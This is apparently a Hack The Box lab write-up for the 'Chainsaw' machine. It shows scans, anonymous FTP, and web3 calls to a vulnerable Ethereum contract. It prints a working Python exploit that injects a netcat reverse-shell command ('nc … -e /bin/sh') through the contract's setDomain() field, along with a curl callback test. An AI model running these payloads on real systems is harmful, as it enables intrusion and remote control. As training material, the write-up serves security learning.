|_End of status
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA)
| 256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA)
|_ 256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 394.56 seconds
root@kali:~/Desktop/HTB/boxes/chainsaw#

We got ssh on port 22 and ftp on port 21.

FTP

Anonymous authentication was allowed on the ftp server, so let’s check what’s in there:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root@kali:~/Desktop/HTB/boxes/chainsaw# ftp chainsaw.htb 
Connected to chainsaw.htb.
220 (vsFTPd 3.0.3)
Name (chainsaw.htb:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json
-rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol
-rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt
226 Directory send OK.
ftp> mget *
mget WeaponizedPing.json? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for WeaponizedPing.json (23828 bytes).
226 Transfer complete.
23828 bytes received in 0.26 secs (88.2424 kB/s)
mget WeaponizedPing.sol? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for WeaponizedPing.sol (243 bytes).
226 Transfer complete.
243 bytes received in 0.00 secs (2.3174 MB/s)
mget address.txt? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for address.txt (44 bytes).
226 Transfer complete.
44 bytes received in 0.00 secs (421.2623 kB/s)
ftp> exit
221 Goodbye.
root@kali:~/Desktop/HTB/boxes/chainsaw#

WeaponizedPing.sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.24;

contract WeaponizedPing
{
string store = "google.com";

function getDomain() public view returns (string)
{
return store;
}

function setDomain(string _value) public
{
store = _value;
}
}

WeaponizedPing.json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
{
"contractName": "WeaponizedPing",
"abi": [
{
"constant": true,
"inputs": [],
"name": "getDomain",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_value",
"type": "string"
}
],
"name": "setDomain",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
}
],
"bytecode": "0x60806040526040805190810160405280600a81526020017f676f6f676c652e636f6d000000000000000000000000000000000000000000008152506000908051906020019061004f929190610062565b5034801561005c57600080fd5b50610107565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100a357805160ff19168380011785556100d1565b828001600101855582156100d1579182015b828111156100d05782518255916020019190600101906100b5565b5b5090506100de91906100e2565b5090565b61010491905b808211156101005760008160009055506001016100e8565b5090565b90565b6102d7806101166000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b68d180914610051578063e5eab096146100e1575b600080fd5b34801561005d57600080fd5b5061006661014a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a657808201518184015260208101905061008b565b50505050905090810190601f1680156100d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100ed57600080fd5b50610148600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506101ec565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101e25780601f106101b7576101008083540402835291602001916101e2565b820191906000526020600020905b8154815290600101906020018083116101c557829003601f168201915b5050505050905090565b8060009080519060200190610202929190610206565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061024757805160ff1916838001178555610275565b82800160010185558215610275579182015b82811115610274578251825591602001919060010190610259565b5b5090506102829190610286565b5090565b6102a891905b808211156102a457600081600090555060010161028c565b5090565b905600a165627a7a72305820d5d4d99bdb5542d8d65ef822d8a98c80911c2c3f15d609d10003ccf4227858660029",
"deployedBytecode": "0x60806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b68d180914610051578063e5eab096146100e1575b600080fd5b34801561005d57600080fd5b5061006661014a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a657808201518184015260208101905061008b565b50505050905090810190601f1680156100d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100ed57600080fd5b50610148600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506101ec565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101e25780601f106101b7576101008083540402835291602001916101e2565b820191906000526020600020905b8154815290600101906020018083116101c557829003601f168201915b5050505050905090565b8060009080519060200190610202929190610206565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061024757805160ff1916838001178555610275565b82800160010185558215610275579182015b82811115610274578251825591602001919060010190610259565b5b5090506102829190610286565b5090565b6102a891905b808211156102a457600081600090555060010161028c565b5090565b905600a165627a7a72305820d5d4d99bdb5542d8d65ef822d8a98c80911c2c3f15d609d10003ccf4227858660029",
"sourceMap": "27:210:1:-;;;56:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;27:210;8:9:-1;5:2;;;30:1;27;20:12;5:2;27:210:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;:::-;;;;;;;",
"deployedSourceMap": "27:210:1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;;8:9:-1;5:2;;;30:1;27;20:12;5:2;88:75:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;88:75:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;166:68;;8:9:-1;5:2;;;30:1;27;20:12;5:2;166:68:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;130:6;153:5;146:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;:::o;166:68::-;223:6;215:5;:14;;;;;;;;;;;;:::i;:::-;;166:68;:::o;27:210::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o",
"source": "pragma solidity ^0.4.24;\n\n\ncontract WeaponizedPing {\n\n string store = \"google.com\";\n\n function getDomain() public view returns (string) {\n return store;\n }\n function setDomain(string _value) public {\n store = _value;\n }\n\n}\n\n",
"sourcePath": "/opt/WeaponizedPing/WeaponizedPing.sol",
"ast": {
"absolutePath": "/opt/WeaponizedPing/WeaponizedPing.sol",
"exportedSymbols": {
"WeaponizedPing": [
80
]
},
----------
Redacted
----------
"networks": {
"1543936419890": {
"events": {},
"links": {},
"address": "0xaf6ce61d342b48cc992820a154fe0f533e5e487c",
"transactionHash": "0x5e94c662f1048fca58c07e16506f1636391f757b07c1b6bb6fbb4380769e99e1"
}
},
"schemaVersion": "2.0.1",
"updatedAt": "2018-12-04T15:24:57.205Z"
}

address.txt:

1
0x479C21df57F2deaB052C466E4de7E82539F6A988

WeaponizedPing: Analysis

WeaponizedPing is a smart contract. smart contracts are written in a language called solidity.

The contract has a variable called store which holds the value google.com by default:

1
string store = "google.com";

There are two functions, getDomain() which returns the value of store:

1
2
3
4
function getDomain() public view returns (string) 
{
return store;
}

And setDomain() which takes a string and changes the value of store from whatever it was to that string:

1
2
3
4
function setDomain(string _value) public 
{
store = _value;
}

From the name of the contract (WeaponizedPing), I assumed that ping gets executed on store. We can control store by calling setDomain(), if the ping command doesn’t get filtered we’ll be able to inject commands and get RCE. However to do all of that we need to be able to interact with the contract in the first place.

WeaponizedPing: Interaction

Assuming that the contract is deployed on a publicly exposed ethereum node, I ran a full nmap scan to find the port on which the server is running:

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -p- -T5 chainsaw.htb --max-retries 1 -o nmapfull
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:08 EET
Nmap scan report for chainsaw.htb (10.10.10.142)
Host is up (2.8s latency).
Not shown: 37555 closed ports, 27977 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
9810/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 674.00 seconds
root@kali:~/Desktop/HTB/boxes/chainsaw#

I found another open port (9810), I ran a service scan on that port:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -p 9810 -sV -sT -sC -o nmap9810 chainsaw.htb                                                                                                                          
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:24 EET
Nmap scan report for chainsaw.htb (10.10.10.142)
Host is up (1.7s latency).

PORT STATE SERVICE VERSION
9810/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 400 Bad Request
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Fri, 22 Nov 2019 17:25:01 GMT
| Connection: close
| Request
| GetRequest:
| HTTP/1.1 400 Bad Request
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Fri, 22 Nov 2019 17:24:27 GMT
| Connection: close
| Request
| HTTPOptions:
| HTTP/1.1 200 OK
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Fri, 22 Nov 2019 17:24:30 GMT
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9810-TCP:V=7.70%I=7%D=11/22%Time=5DD819CA%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nAccess-Control-All
SF:ow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Type,\x20Accept,
SF:\x20User-Agent\r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-
SF:Allow-Methods:\x20\*\r\nContent-Type:\x20text/plain\r\nDate:\x20Fri,\x2
SF:022\x20Nov\x202019\x2017:24:27\x20GMT\r\nConnection:\x20close\r\n\r\n40
SF:0\x20Bad\x20Request")%r(HTTPOptions,100,"HTTP/1\.1\x20200\x20OK\r\nAcce
SF:ss-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Ty
SF:pe,\x20Accept,\x20User-Agent\r\nAccess-Control-Allow-Origin:\x20\*\r\nA
SF:ccess-Control-Allow-Methods:\x20\*\r\nContent-Type:\x20text/plain\r\nDa
SF:te:\x20Fri,\x2022\x20Nov\x202019\x2017:24:30\x20GMT\r\nConnection:\x20c
SF:lose\r\n\r\n")%r(FourOhFourRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nAccess-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x2
SF:0Content-Type,\x20Accept,\x20User-Agent\r\nAccess-Control-Allow-Origin:
SF:\x20\*\r\nAccess-Control-Allow-Methods:\x20\*\r\nContent-Type:\x20text/
SF:plain\r\nDate:\x20Fri,\x2022\x20Nov\x202019\x2017:25:01\x20GMT\r\nConne
SF:ction:\x20close\r\n\r\n400\x20Bad\x20Request");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 90.55 seconds
root@kali:~/Desktop/HTB/boxes/chainsaw#

It responded to HTTP requests which means that the JSON-RPC server is HTTP based.
There are a lot of ways to interact with ethereum smart contracts, I used web3 python library. (A great reference)
I imported Web3 and eth:

1
from web3 import Web3, eth

Then I created a new web3 connection to http://chainsaw.htb:9810 and saved it in a variable called w3:

1
w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))

To interact with the smart contract we need two things:

  • The address of the contract: we got the address earlier from the ftp server (Note: that address changes everytime the box is reset).
  • The ABI (Application Binary Interface) of the contract: We can get it from the contract source.

To get the ABI I used the solidity IDE to compile the contract then I clicked on “Details” and copied the ABI:

I saved it in a file (ABI.txt) then I executed echo -n on cat ABI.txt to make it a single line:

1
2
3
root@kali:~/Desktop/HTB/boxes/chainsaw# echo -n `cat ABI.txt`
[ { "constant": true, "inputs": [], "name": "getDomain", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setDomain", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" } ]
root@kali:~/Desktop/HTB/boxes/chainsaw#

I saved the ABI and the address in variables:

1
2
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"

Then I finally created the contract representation and saved it in the variable contract:

1
contract = w3.eth.contract(address=address, abi=abi)

By using the functions property we can call any function that the contract has, let’s call the function getDomain():

1
print(contract.functions.getDomain().call())

Final test.py looks like this:

1
2
3
4
5
6
7
8
9
#!/usr/bin/python3
import json
from web3 import Web3, eth

w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"
contract = w3.eth.contract(address=address, abi=abi)
print(contract.functions.getDomain().call())

Let’s run it:

1
2
3
root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py 
google.com
root@kali:~/Desktop/HTB/boxes/chainsaw#

It’s working fine, let’s try to change the domain by using setDomain():

1
contract.functions.setDomain("test").transact()

Note: When passing arguments to functions we have to use transact() instead of call(), to use transact() we need an account, that’s why I added this line:

1
w3.eth.defaultAccount = w3.eth.accounts[0]

test.py:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python3
import json
from web3 import Web3, eth

w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
w3.eth.defaultAccount = w3.eth.accounts[0]
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"
contract = w3.eth.contract(address=address, abi=abi)
contract.functions.setDomain("test").transact()
print(contract.functions.getDomain().call())
1
2
3
root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py 
test
root@kali:~/Desktop/HTB/boxes/chainsaw#

Great, now for the exploitation part.

WeaponizedPing: Exploitation

Let’s try to inject commands in the domain name and see if it’ll work, I injected a curl command and I ran a python server on port 80:

1
contract.functions.setDomain("test; curl http://10.10.xx.xx/").transact()

test.py:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python3
import json
from web3 import Web3, eth

w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
w3.eth.defaultAccount = w3.eth.accounts[0]
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"
contract = w3.eth.contract(address=address, abi=abi)
contract.functions.setDomain("test; curl http://10.10.xx.xx/").transact()
print(contract.functions.getDomain().call())
1
2
3
root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py 
test; curl http://10.10.xx.xx/
root@kali:~/Desktop/HTB/boxes/chainsaw#

After a few seconds I got a request:

1
2
3
root@kali:~/Desktop/HTB/boxes/chainsaw# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.142 - - [22/Nov/2019 20:59:23] "GET / HTTP/1.1" 200 -

Based on these tests I wrote this small exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python3
import json
from web3 import Web3, eth
from sys import argv

YELLOW = "\033[93m"
GREEN = "\033[32m"

def exploit(address, ip, port):
print(YELLOW + "[+] Starting")
print(YELLOW + "[+] Connecting to chainsaw.htb:9810")
w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
print(GREEN + "[*] Connection Established")
w3.eth.defaultAccount = w3.eth.accounts[0]
print(YELLOW + "[+] Creating the contract representation")
print(YELLOW + "[+] Address: {}".format(address))
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
contract = w3.eth.contract(address=address, abi=abi)
print(GREEN + "[*] Done")
print(YELLOW + "[+] Injecting Reverse Shell:")
print(YELLOW + " [!] IP: {}".format(ip))
print(YELLOW + " [!] PORT: {}".format(port))
contract.functions.setDomain("pwn3d;nc {} {} -e /bin/sh".format(ip,port)).transact()
print(GREEN + "[*] Domain Changed Successfully, New Value: " + contract.functions.getDomain().call())
print(GREEN + "[*] Now wait for your reverse shell, Exiting...")
exit()

if len(argv) != 4 or argv[1] == "-h":
print(YELLOW + "[!] Usage: {} [contract address] [ip] [port]".format(argv[0]))
exit()
else:
address = argv[1]
ip = argv[2]
port = argv[3]
exploit(address, ip, port)

I listened on port 1337 and ran the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~/Desktop/HTB/boxes/chainsaw# ./exploit.py 0x479C21df57F2deaB052C466E4de7E82539F6A988 10.10.xx.xx 1337
[+] Starting
[+] Connecting to chainsaw.htb:9810
[*] Connection Established
[+] Creating the contract representation
[+] Address: 0x479C21df57F2deaB052C466E4de7E82539F6A988
[*] Done
[+] Injecting Reverse Shell:
[!] IP: 10.10.xx.xx
[!] PORT: 1337
[*] Domain Changed Successfully, New Value: pwn3d;nc 10.10.xx.xx 1337 -e /bin/sh
[*] Now wait for your reverse shell, Exiting...
root@kali:~/Desktop/HTB/boxes/chainsaw#

And I got a shell immediately as a user called administrator:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~/Desktop/HTB/boxes/chainsaw# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.142.
Ncat: Connection from 10.10.10.142:49262.
whoami
administrator
which python
/usr/bin/python
python -c "import pty;pty.spawn('/bin/bash')"
administrator@chainsaw:/opt/WeaponizedPing$ ^Z
[1]+ Stopped nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/chainsaw# stty raw -echo
root@kali:~/Desktop/HTB/boxes/chainsaw# nc -lvnp 1337

administrator@chainsaw:/opt/WeaponizedPing$ export TERM=screen
administrator@chainsaw:/opt/WeaponizedPing$

ipfs –> SSH as bobby –> User Flag

There were 2 users on the box, administrator and bobby:

1
2
3
4
5
6
7
8
administrator@chainsaw:/opt/WeaponizedPing$ cd /home
administrator@chainsaw:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Dec 12 2018 .
drwxr-xr-x 25 root root 4096 Dec 20 2018 ..
drwxr-x--- 8 administrator administrator 4096 Dec 20 2018 administrator
drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 bobby
administrator@chainsaw:/home$

administrator had no permission to access bobby‘s home directory:

1
2
3
administrator@chainsaw:/home$ cd bobby/
bash: cd: bobby/: Permission denied
administrator@chainsaw:/home$

In administrator‘s home directory I noticed a directory called .ipfs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
administrator@chainsaw:/home$ cd administrator/
administrator@chainsaw:/home/administrator$ ls -la
total 104
drwxr-x--- 8 administrator administrator 4096 Dec 20 2018 .
drwxr-xr-x 4 root root 4096 Dec 12 2018 ..
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .bash_history -> /dev/null
-rw-r----- 1 administrator administrator 220 Dec 12 2018 .bash_logout
-rw-r----- 1 administrator administrator 3771 Dec 12 2018 .bashrc
-rw-r----- 1 administrator administrator 220 Dec 20 2018 chainsaw-emp.csv
drwxrwxr-x 5 administrator administrator 4096 Jan 23 2019 .ipfs
drwxr-x--- 3 administrator administrator 4096 Dec 12 2018 .local
drwxr-x--- 3 administrator administrator 4096 Dec 13 2018 maintain
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ngrok2
-rw-r----- 1 administrator administrator 807 Dec 12 2018 .profile
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ssh
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .swt
-rw-r----- 1 administrator administrator 1739 Dec 12 2018 .tmux.conf
-rw-r----- 1 administrator administrator 45152 Dec 12 2018 .zcompdump
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .zsh_history -> /dev/null
-rw-r----- 1 administrator administrator 1295 Dec 12 2018 .zshrc
administrator@chainsaw:/home/administrator$

The InterPlanetary File System (IPFS) is a protocol and peer-to-peer network for storing and sharing data in a distributed file system. IPFS uses content-addressing to uniquely identify each file in a global namespace connecting all computing devices. -Wikipedia

Take a look at the cli documentation.
I used ip refs local to list the local references:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
administrator@chainsaw:/home/administrator$ ipfs refs local
QmYCvbfNbCwFR45HiNP45rwJgvatpiW38D961L5qAhUM5Y
QmPctBY8tq2TpPufHuQUbe2sCxoy2wD5YRB6kdce35ZwAx
QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB
QmdL9t1YP99v4a2wyXFYAQJtbD9zKnPrugFLQWXBXb82sn
QmSKboVigcD3AY4kLsob117KJcMHvMUu6vNFqk1PQzYUpp
QmUHHbX4N8tUNyXFK9jNfgpFFddGgpn72CF1JyNnZNeVVn
QmegE6RZe59xf1TyDdhhcNnMrsevsfuJHUynLuRc4yf6V1
QmWSLAHhiNVRMFMv4bnE7fqq9E74RtXTRm9E1QVo37GV9t
QmPjsarLFBcY8seiv3rpUZ2aTyauPF3Xu3kQm56iD6mdcq
QmZrd1ik8Z2F5iSZPDA2cZSmaZkHFEE4jZ3MiQTDKHAiri
QmdfTbBqBPQ7VNxZEYEj14VmRuZBkqFbiwReogJgS1zR1n
QmfRZWFfaugHeY5gcgNDrnRkxhPT3epmHodryPYK3it6kk
QmZTR5bcpQD7cFgTorqxZDYaew1Wqgfbd2ud9QqGPAkK2V
QmejvEPop4D7YUadeGqYWmZxHhLc4JBUCzJJHWMzdcMe2y
QmbkQxbErC7KSWzSQw2FC13LUm9Rbo2XjeFQZbcmdarpuz
QmPpsT37SpTbZkAeMz7LXiJ8nQseBNziGBzpW1YtM67qx6
QmXWS8VFBxJPsxhF8KEqN1VpZf52DPhLswcXpxEDzF5DWC
QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
QmZxzK6gXioAUH9a68ojwkos8EaeANnicBJNA3TND4Sizp
Qmb7oGTxge7amSArtJsGUAqswY8y1G7m5QNjV57Nj5sEHU
QmS4ustL54uo8FzR9455qaxZwuMiUhyvMcX9Ba8nUH4uVv
QmXymZCHdTHz5BA5ugv9MQTBtQAb6Vit4iFeEnuRj6Udrh
QmUNLLsPACCz1vLxQVkXqqLX5R1X345qqfHbsf67hvA3Nn
Qma6kDKzUzFioo62v4LZaNsrwmCojF9AqwLaQJubRFnsAa
QmXwXzVYKgYZEXU1dgCKeejT87Knw9nydGcuUZrjwNb2Me
QmXgqKTbzdh83pQtKFb19SpMCpDDcKR2ujqk3pKph9aCNF
QmYn3NxLLYA6xU2XL1QJfCZec4B7MpFNxVVtDvqbiZCFG8
QmWMuEvh2tGJ1DiNPPoN6rXme2jMYUixjxsC6QUji8mop8
QmY5heUM5qgRubMDD1og9fhCPA6QdkMp3QCwd4s7gJsyE7
QmQ5vhrL7uv6tuoN9KeVBwd4PwfQkXdVVmDLUZuTNxqgvm
QmZMUdskS6vK8ycBiAffrYAE4wUDuWX9eK7kNgQqPCGbwF
QmPC3ZbrMeZ8BpstpNseNV4fCRL4QDzUKrSv8EHkarbn7r
QmPhk6cJkRcFfZCdYam4c9MKYjFG9V29LswUnbrFNhtk2S
QmSyJKw6U6NaXupYqMLbEbpCdsaYR5qiNGRHjLKcmZV17r
QmZZRTyhDpL5Jgift1cHbAhexeE1m2Hw8x8g7rTcPahDvo
QmUH2FceqvTSAvn6oqm8M49TNDqowktkEx4LgpBx746HRS
QmcMCDdN1qDaa2vaN654nA4Jzr6Zv9yGSBjKPk26iFJJ4M
QmPZ9gcCEpqKTo6aq61g2nXGUhM4iCL3ewB6LDXZCtioEB
Qmc7rLAhEh17UpguAsEyS4yfmAbeqSeSEz4mZZRNcW52vV
administrator@chainsaw:/home/administrator$

I used ipfs ls on every hash to list the contents, most of them were empty or useless except for this one which had some email messages:

1
2
3
4
5
6
7
administrator@chainsaw:/home/administrator$ ipfs ls QmZrd1ik8Z2F5iSZPDA2cZSmaZkHFEE4jZ3MiQTDKHAiri
QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB 10063 artichain600-protonmail-2018-12-13T20_50_58+01_00.eml
QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF 4640 bobbyaxelrod600-protonmail-2018-12-13-T20_28_54+01_00.eml
QmZxzK6gXioAUH9a68ojwkos8EaeANnicBJNA3TND4Sizp 10084 bryanconnerty600-protonmail-2018-12-13T20_50_36+01_00.eml
QmegE6RZe59xf1TyDdhhcNnMrsevsfuJHUynLuRc4yf6V1 10083 laraaxelrod600-protonmail-2018-12-13T20_49_35+01_00.eml
QmXwXzVYKgYZEXU1dgCKeejT87Knw9nydGcuUZrjwNb2Me 10092 wendyrhoades600-protonmail-2018-12-13T20_50_15+01_00.eml
administrator@chainsaw:/home/administrator$

We’re interested in bobby‘s file so I used ipfs get to get it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
administrator@chainsaw:/home/administrator$ ipfs get QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
Saving file(s) to QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
4.53 KiB / 4.53 KiB 100.00% 0s
administrator@chainsaw:/home/administrator$ ls -al
total 112
drwxr-x--- 8 administrator administrator 4096 Nov 22 19:50 .
drwxr-xr-x 4 root root 4096 Dec 12 2018 ..
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .bash_history -> /dev/null
-rw-r----- 1 administrator administrator 220 Dec 12 2018 .bash_logout
-rw-r----- 1 administrator administrator 3771 Dec 12 2018 .bashrc
-rw-r----- 1 administrator administrator 220 Dec 20 2018 chainsaw-emp.csv
drwxrwxr-x 5 administrator administrator 4096 Nov 22 19:50 .ipfs
drwxr-x--- 3 administrator administrator 4096 Dec 12 2018 .local
drwxr-x--- 3 administrator administrator 4096 Dec 13 2018 maintain
